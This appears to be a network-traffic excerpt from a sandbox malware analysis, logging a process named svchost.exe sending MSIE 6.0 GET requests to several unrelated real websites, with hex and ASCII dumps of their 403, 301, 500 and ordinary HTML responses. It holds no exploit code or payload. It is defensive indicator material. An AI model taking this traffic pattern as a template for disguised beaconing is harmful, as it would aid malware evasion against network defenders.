2023-03-10 06:56:15 UTC	440	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	53389	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	473	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:15 UTC	506	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:15 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:15 UTC	506	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	53391	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	505	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:15 UTC	513	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:15 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:15 UTC	513	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	53348	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	506	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:15 UTC	512	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:15 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:15 UTC	512	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	50304	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com
2023-03-10 06:55:59 UTC	101	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:55:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:04 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:04 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language Set-Cookie: django_language=en; expires=Sat, 09-Mar-2024 06:46:04 GMT; Max-Age=31536000; Path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tVSm20HLadK44WIgF%2ByMngdvQkUrznG6VEovhiDdyPxWAtE79TPxnAuPCOxtvSEtpFRVXzidDm5eewf3Jy4Zi%2BmASId6mOOzEErhfoGJ%2FdJ66pkHaxcqnHphDYBxKftv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a7be3fd191de-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:55:59 UTC	102	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:55:59 UTC	102	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	53332	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	506	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:15 UTC	512	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:15 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:15 UTC	512	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	53917	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	514	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:15 UTC	514	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:15 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:15 UTC	514	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	54170	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	515	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:15 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:15 UTC	516	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:15 UTC	532	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:15 UTC	548	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:15 UTC	564	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	54202	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	515	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
2023-03-10 06:56:16 UTC	627	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:16 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WJpQnok3DWV3twNVQlUh65X4KnoUF0sgObYIrRuZcDcg82ef9Zn9Xn8y2FbKj%2BMe0SyFXc6kum%2FkndIYy%2FVEM%2F1FN2c%2FzMp1Fov3sjmkErLz%2BfYnGMb3kRmeF5NPvHH1z9ClTNOgTrk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a82368b568ec-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	628	IN	Data Raw: 37 63 61 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7cab<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:16 UTC	628	IN	Data Raw: 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 Data Ascii: les/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/te
2023-03-10 06:56:16 UTC	630	IN	Data Raw: 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 Data Ascii: m/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/boot
2023-03-10 06:56:16 UTC	631	IN	Data Raw: 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 Data Ascii: /users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="
2023-03-10 06:56:16 UTC	632	IN	Data Raw: 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e Data Ascii: ck size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard ">
2023-03-10 06:56:16 UTC	634	IN	Data Raw: 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c Data Ascii: -item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><l
